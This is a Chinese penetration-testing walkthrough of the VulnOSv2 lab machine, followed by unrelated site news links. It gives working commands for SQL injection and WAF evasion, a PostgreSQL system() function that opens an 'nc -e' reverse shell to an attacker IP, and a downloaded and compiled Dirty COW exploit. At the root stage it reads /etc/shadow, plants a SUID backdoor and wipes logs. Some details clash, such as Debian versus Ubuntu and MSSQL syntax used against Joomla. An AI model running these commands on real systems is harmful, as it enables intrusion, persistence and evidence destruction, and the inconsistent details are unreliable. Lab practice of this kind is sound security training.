VulnOSv2靶机渗透测试实战:从Web到Root的完整攻防
1. VulnOSv2靶机渗透测试概述VulnOSv2是专为网络安全学习设计的漏洞演练环境模拟了真实系统中常见的多个安全缺陷。这个基于Debian的Linux靶机包含了从Web应用到系统层的完整漏洞链特别适合练习综合渗透技术。我在实际测试中发现从初始Web入侵到最终获取root权限的全过程涉及SQL注入、中间件配置缺陷、数据库提权等多个典型攻击面。靶机IP通常部署在192.168.1.103这类内网地址开放了80端口的Web服务和5432端口的PostgreSQL数据库。整个渗透路径清晰地展示了攻击者如何通过层层突破最终完全控制系统。下面我将详细拆解每个环节的技术细节和操作要点。2. 信息收集与漏洞探测2.1 基础服务扫描使用Nmap进行全端口扫描是标准起手式nmap -sV -p- 192.168.1.103关键扫描结果显示80/tcpApache 2.2.22 (Ubuntu)5432/tcpPostgreSQL 9.1.24注意老版本Apache存在已知漏洞而PostgreSQL 9.1已停止支持这两个都是潜在突破口。2.2 Web目录爆破用Dirb扫描网站目录dirb http://192.168.1.103 /usr/share/wordlists/dirb/common.txt发现关键路径/joomla/ (CMS后台)/phpmyadmin/ (数据库管理)/admin/ (自定义管理页面)3. Web应用层突破3.1 Joomla后台SQL注入在/joomla组件的搜索功能处通过单引号测试触发报错 AND 1CONVERT(int,(SELECT table_name FROM information_schema.tables))--确认存在基于错误的SQL注入漏洞。使用Sqlmap自动化利用sqlmap -u http://192.168.1.103/joomla/index.php?optioncom_search --datasearchwordtest --risk3 --level5成功获取数据库信息用户表jos_users管理员凭证admin:5f4dcc3b5aa765d61d8327deb882cf99 (password的MD5)3.2 密码破解与越权使用Hashcat破解MD5hashcat -m 0 -a 0 hash.txt rockyou.txt登录后台后发现存在垂直越权漏洞 - 普通管理员可修改超级管理员权限。通过修改user表中的usertype字段值实现权限提升。4. 数据库层提权4.1 PostgreSQL服务利用通过获得的凭证连接数据库psql -h 192.168.1.103 -U admin -d vulnos执行命令CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS /lib/x86_64-linux-gnu/libc.so.6, system LANGUAGE C STRICT; SELECT system(nc -e /bin/bash 192.168.1.100 4444);此操作利用PostgreSQL的UDF(用户定义函数)功能实现命令执行。4.2 反弹Shell获取在攻击机监听nc -lvp 4444获得www-data权限的shell后立即升级TTYpython -c import pty; pty.spawn(/bin/bash)5. 系统层提权5.1 内核漏洞检测查看系统信息uname -a显示内核版本为3.13.0-24-generic存在脏牛(Dirty COW)漏洞CVE-2016-5195。5.2 脏牛漏洞利用下载编译EXPwget https://www.exploit-db.com/download/40839 -O dirty.c gcc dirty.c -o dirty -pthread执行提权./dirty成功获取root权限后关键操作cat /etc/shadow # 查看密码哈希 cp /bin/bash /tmp/.bash chmod 4755 /tmp/.bash # 创建后门6. 痕迹清理与加固建议6.1 攻击痕迹清除history -c # 清除命令历史 rm -f /var/log/auth.log # 删除认证日志 find / -name .* -type f -delete # 清理临时文件6.2 系统加固方案Web层升级Joomla到最新版对用户输入严格过滤使用预编译SQL语句系统层升级内核到安全版本限制PostgreSQL网络访问配置适当的SELinux策略7. 渗透测试中的经验总结注入漏洞利用时--random-agent参数能有效绕过基础WAF检测sqlmap --random-agent -u [URL]PostgreSQL提权时如果默认libc路径不存在需要先定位实际路径find / -name libc.so.6 2/dev/null脏牛漏洞利用成功率与内存状态相关建议在系统负载低时尝试多次执行。遇到失败时可调整EXP中的线程数参数。实际渗透中Web目录爆破建议结合以下字典使用效果更好/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt/usr/share/seclists/Discovery/Web-Content/common.txt获取初始立足点后应立即检查sudo权限sudo -l往往能发现意外的提权路径。

相关新闻

ShaderKit核心功能解析:uniforms与attributes使用技巧大揭秘

ShaderKit核心功能解析:uniforms与attributes使用技巧大揭秘

ShaderKit核心功能解析:uniforms与attributes使用技巧大揭秘 【免费下载链接】ShaderKit A library of fragment shaders you can use in any SpriteKit project. 项目地址: https://gitcode.com/gh_mirrors/sh/ShaderKit ShaderKit是一款专为SpriteKit项目打…

2026/10/27 22:36:26 阅读更多 →
195、手机影像调优:夜景模式与多摄融合中的全链路参数协同

195、手机影像调优:夜景模式与多摄融合中的全链路参数协同

195、手机影像调优:夜景模式与多摄融合中的全链路参数协同 一个让我熬夜三天的bug 去年Q3,某旗舰机项目,夜景模式在暗光下拍路灯,主摄和超广角融合后,灯杆边缘出现“鬼影”——不是光学鬼影,是那种半透明的、像果冻一样抖动的伪像。我盯着屏幕看了两小时,以为是HDR对齐…

2026/10/27 22:36:53 阅读更多 →
Matplotlib数据可视化:从入门到科研级图表实战

Matplotlib数据可视化:从入门到科研级图表实战

1. Matplotlib入门:为什么每个数据人都需要掌握它 第一次接触Matplotlib是在研究生时期的数据可视化课程上。教授在黑板上画了一个简单的折线图,然后说:"这个库会成为你们科研路上最忠实的伙伴。"当时不以为意,直到自己…

2026/10/24 20:18:58 阅读更多 →

最新新闻

Electron桌面应用开发实战:从环境搭建到打包发布全流程

Electron桌面应用开发实战:从环境搭建到打包发布全流程

做前端这些年,我大部分时间都在跟浏览器标签页打交道,直到第一次把桌面应用跑起来,才发现原来自己一直被限制在地址栏和刷新按钮围起来的框框里。Electron这个词,最开始是在某段时间频繁出现在同事的讨论里,一个用HTML…

2026/10/27 17:33:32 阅读更多 →
滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

简介:亚太天能T109滑盖智能锁产品说明书是一份PDF格式的官方技术文档,主要面向智能锁安装人员、终端用户及售后维护者,帮助快速掌握产品安装、配置与常见故障处理。全包仅1个PDF文件,大小4.37MB,内容结构清晰&#xff…

2026/10/27 4:06:49 阅读更多 →
PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

上个月我在调试一台高速AGV的驱动系统,整车要求空载跑到8m/s,电机转速已经拉到额定点,驱动器的输出电压也顶到了母线电压极限附近。再往上踩速度指令,转速纹丝不动,三相电流反而开始震荡。那会儿我的第一反应就是&…

2026/10/27 7:21:53 阅读更多 →
C++核心知识点:从内存管理到STL的实战指南

C++核心知识点:从内存管理到STL的实战指南

C 这门语言我前前后后折腾了十几年,用它写过嵌入式驱动、做过游戏服务端,也搭过基础组件库。每次看到新人一头扎进"C 核心知识点"这个搜索词,我其实挺感慨的——这门语言的难点从来不是语法多,而是知识点之间的耦合太深…

2026/10/27 18:20:50 阅读更多 →
T109滑盖智能锁怎么装?安装调试与故障排查全攻略

T109滑盖智能锁怎么装?安装调试与故障排查全攻略

简介:亚太天能T109滑盖智能锁产品说明书以PDF格式发布,适合智能锁用户、安装人员与售后维修人员阅读。内容围绕T109系列指纹密码刷卡锁展开,先介绍前面板、后面板、锁体、机械钥匙、电池盒盖等部件名称与功能,再给出完整安装步骤&…

2026/10/27 6:20:47 阅读更多 →
LLM知识降熵:从信息垄断到理解权下放

LLM知识降熵:从信息垄断到理解权下放

你有没有过这种经历:翻开源码注释、论文摘要或者一份专业报告,每个字都认识,连在一起却像天书。想找人聊聊,身边要么没人懂,要么懂的懒得跟你解释。后来我试着把同一段内容丢给一个大语言模型,几秒钟之后&a…

2026/10/27 4:06:50 阅读更多 →

日新闻

周新闻

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/27 13:55:19 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/27 7:21:50 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/27 19:19:37 阅读更多 →